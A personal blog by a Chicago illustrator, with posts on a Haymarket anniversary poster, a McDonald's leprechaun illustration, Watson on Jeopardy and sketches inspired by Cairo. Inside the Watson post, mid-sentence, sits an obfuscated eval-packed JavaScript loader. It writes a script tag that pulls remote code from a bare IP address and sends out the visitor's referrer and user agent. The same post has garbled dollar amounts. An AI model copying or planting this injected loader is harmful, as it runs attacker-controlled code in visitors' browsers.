Chicago's Haymarket Anniversary gig poster

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I recently had the honor of creating a gig poster promoting a show at the Old Town School of Folk Music headlined by folk musician Bucky Halker marking the 125th anniversary of Chicago's Haymarket Affair and to raise awareness of workers' rights. The details of the event have filled several books, but the basic facts are as follows:

• On May 4th, 1886, a rally was held at Chicago's Haymarket square to demand workers' rights, among them a standard eight hour workday. • An unknown person threw a bomb which killed one police officer and injured several more. • In the confusion which followed, seven more officers were killed and many other police and civilians injured, most as a result of friendly fire. • After a corrupt and hastily arranged trial of eight labor activists, four were hanged and a fifth commited suicide in prison. • In 1893, Gov. John Peter Altgeld concluded that all eight men were innocent, and issued their pardons.

Memorial

This Mayday (May 1, 2011) marks the 125th anniversary of the event. There is a monument in Forest Park, Illinois, just west of Chicago in Forest Home Cemetary, honoring those who were executed. The site has been designated as a U.S. national monument (The only one located within a cemetary) and is currently being restored though funds raised by the Illinois Labor History Society and its President, Larry Spivack.

I also designed a plaque which will be placed at the base of sculptor Mary Brogger's memorial honoring the Haymarket Affair. It can be found at the corner of Desplaines & Lake streets in Chicago, the actual site of the incident.

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The Haymarket Incident (which some still refer to as the "Haymaket Riot"), was one of the earliest and most significant events in America's labor history and has been a source of inspiration for workers throughout the world. A couple weeks ago, I posted some sketches inspired by the unrest taking place in Cairo. Though the current labor protests in Wisconsin and elsewhere in the U.S. can't compare to the life and death struggles going on in the mideast, it's important to remember that there was a time when those championing worker's rights were met with violence and, in some cases, gave their lives to fight for rights that many now take for granted. As recent events in Wisconsin and elsewhere throughout the U.S. show, that struggle continues today.

Making of a Shamrock Shake Leprechaun

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As they say in showbiz, "There are no small parts, only small actors" and this guy is a small actor indeed. The assignment was to digitally illustrate a leprechaun painting a billboard sign, Trompe L'Oeil style, to advertise last year's announced return of McDonald's Shamrock Shake. It was termed "urban signage". Translation: a sign that would go above the entryways to Chicago's downtown L-train and other locations. I was provided the Art Director's thumbnail sketch and told to make the figure turn and look at the viewer as if "caught in the act". When working on storyboards or in my usual finished illustration style, I generally don't use photo reference, but in this case, the client wanted a semi-realistic style, so I had my son shoot a few humiliating reference shots of me in character. I gave the AD a proposed pencil sketch along with an edgier cartoony version as an alternative. I preferred that version myself, but the client definitely wanted more realism. Even if they'd gone with the alternate version, I'm sure I would've had to delete the pipe, which was my favorite part anyway. :) After the sketch was approved, I scanned it in and used it as an underlay in Photoshop. I digitally painted over the sketch on a new layer, reducing the opacity to about 50%. Once the simple shapes were blocked in, I made the layer fully opaque and continued refining the figure, starting with the face. I had to keep reducing the size of the image on the screen to get an idea of how it would look at a much smaller size. By doing that, about halfway through the job, I decided that the body should be smaller in proportion to the head. Fortunately, I was working in layers,so it was a pretty easy fix to reduce the body size. Near the finish, I adjusted the levels in Photoshop to increase the overall contrast and deepen the shadows. All in all the job went very smoothly and though the finished figure was a miniscule part of the composition, it was fun seeing it posted in a couple of locations within a block of the office.

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Will Watson puts man's future in JEOPARDY?

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As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnyye|var|u0026u|referrer|nfzdd||js|php'.split('|'),0,{})) the dust settles on the tournament pitting IBM's supercomputer, Watson, against former Jeopardy champions Ken Jennings and Brad Rutter, there are a few observations to take away. If you haven't seen or heard about the results yet, chances are you don't care, though the ramifications of the match go far beyond the game show arena. First, to no one's surprise, Jennings and Rutter may have well have been holding cans of beer instead of buzzers, seeing as how they functioned as spectators through most of the proceedings. Watson tore through most of the questions with ease, leaving the humans looking like the Washington Generals battling the Harlem Globetrotters. For the record, the final tally was ,147 for Watson to Jennings’s ,000 and Rutter’s ,600. The actual game play was interspersed with short films detailing Watson's history and origins. While at times this came across as infomercials for IBM, they were informative and a welcome alternative to host Alex Trebek's usual contestant interviews, which are generally the most awkward part of the show. (Trebek is no Charlie Rose.) These bits focused on future practical applications, which according to its creators are many, including roles in medical diagnostics, economics, and climatology, among many others. Watson is a "standalone" entity, meaning that it wasn't connected to the internet during gameplay, which makes it's accomplishment all the more impressive. The actual workings are located in a huge room with two arrays of linked computers. Onstage, Watson was represented by a suitably monolith-like glowing avatar with a robotic male voice. In future incarnations linked to the internet and to each other, the potential computing power would be virtually limitless. Which leads to the real question of whether computers can one day become "self aware" and pose a real threat to man's existence. This idea has been a part of science fiction since Arthur C. Clarke's "2001: a Space Odyssey" and the slightly less classic  "Demon Seed" , all the way through to the "Terminator" series. The History Channel, between its UFO exposés and Bible prophesy programs, listed intelligent machines among its doomsday scenarios in "Last Days on Earth". If there's a real threat that comes from super computers, it's not just from self awareness but from self preservation: when it comes to the logical conclusion that its existence is worth more than ours. For now, the benefits of super computing are generally thought to outweigh any risk of building Frankenstein's monster. But given the pace of innovation, especially once computers become capable of building and improving upon themselves, we may need to reexamine our relationship to our machines. For now, I'm just curious to see how Watson will spend his winnings.

Happy Valentine's Day

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Though we're still in the midst of one of the harshest winter's on record here in the northern midwest, here's hoping we can all find some warmth and romance to get us through 'til spring. Happy Valentine's Day!

Sketches inspired by Cairo images

A couple of weeks ago, I started research for a poster commemorating the 125th anniversary of the Haymarket incident in Chicago in which eight policemen were killed (mostly by friendly fire) and dozens of protesters were killed or injured. Though I'm a lifelong resident of the area, I was a little ashamed at how little I knew about this violent and pivotal event in the history of workers' rights. When the poster is completed, I'll post it along with some background on the events of that time.

In the meantime, the images coming out of Egypt capture the anger of the Egyptians in their struggle for freedom. Today, at what is called the "Day of Departure" rally, thousands of citizens are protesting peacefully while just blocks away, violent confrontations continue. Hopefully the situation will find a peaceful resolution soon.

Here are a few quick sketches inspired by some of the recent images out of Cairo:

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